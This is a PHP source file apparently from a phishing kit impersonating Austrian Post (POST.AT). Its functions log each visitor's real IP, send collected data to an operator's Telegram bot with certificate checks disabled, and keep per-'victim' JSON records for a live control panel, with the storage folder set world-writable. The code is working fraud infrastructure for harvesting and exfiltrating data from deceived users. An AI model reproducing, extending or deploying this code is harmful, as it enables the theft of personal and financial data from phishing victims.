<?php
/**
 * Project: POST.AT - Core Engine (Fix Pathing & Permissions)
 * Contains: Telegram Sender & JSON State Machine Writer
 * Coded by: L'Bichir
 */

// 1. Get Client Real IP
function get_client_ip() {
    foreach (['HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'REMOTE_ADDR'] as $key) {
        if (isset($_SERVER[$key]) && !empty($_SERVER[$key])) {
            return explode(',', $_SERVER[$key])[0];
        }
    }
    return $_SERVER['REMOTE_ADDR'];
}

// 2. Telegram Sender
function send_tele($msg) {
    global $api_key, $admin_id;
    $url = "https://api.telegram.org/bot".$api_key."/sendMessage";
    $data =[
        'chat_id' => $admin_id,
        'text' => $msg,
        'parse_mode' => 'markdown'
    ];
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); 
    curl_exec($ch);
    curl_close($ch);
}

// 3. The Live Panel Writer (Update / Create IP.json)
function update_vic_json($ip, $new_data_array) {
    // Njebdo l'chemin l'79i9i dyal core.txt bach maytlefch l'serveur
    $v_dir = dirname(__FILE__) . '/vi/';
    
    // N'creyiw l'dossier ila makanch (w n3tiweh 777)
    if (!is_dir($v_dir)) { 
        @mkdir($v_dir, 0777, true); 
    }
    
    // N'we7dou l'ID format (Matalan: vic_127_0_0_1)
    $vic_id = "vic_" . str_replace([':', '.'], '_', $ip);
    $v_file = $v_dir . $vic_id . ".json";
    
    $current_data =[];
    
    // Read existing data if file exists
    if (file_exists($v_file)) {
        $json_content = file_get_contents($v_file);
        $decoded = json_decode($json_content, true);
        if (is_array($decoded)) {
            $current_data = $decoded;
        }
    }
    
    // Merge old data with new data
    $merged_data = array_merge($current_data, $new_data_array);
    
    // L'Data Drouriya dyal L'Panel
    $merged_data['last_seen'] = time();
    $merged_data['ip'] = $ip; 
    $merged_data['vic_id'] = $vic_id; 
    
    // Write securely with Lock
    $fp = @fopen($v_file, 'w');
    if ($fp) {
        if (flock($fp, LOCK_EX)) {
            fwrite($fp, json_encode($merged_data, JSON_PRETTY_PRINT));
            flock($fp, LOCK_UN);
        }
        fclose($fp);
    }
}
?>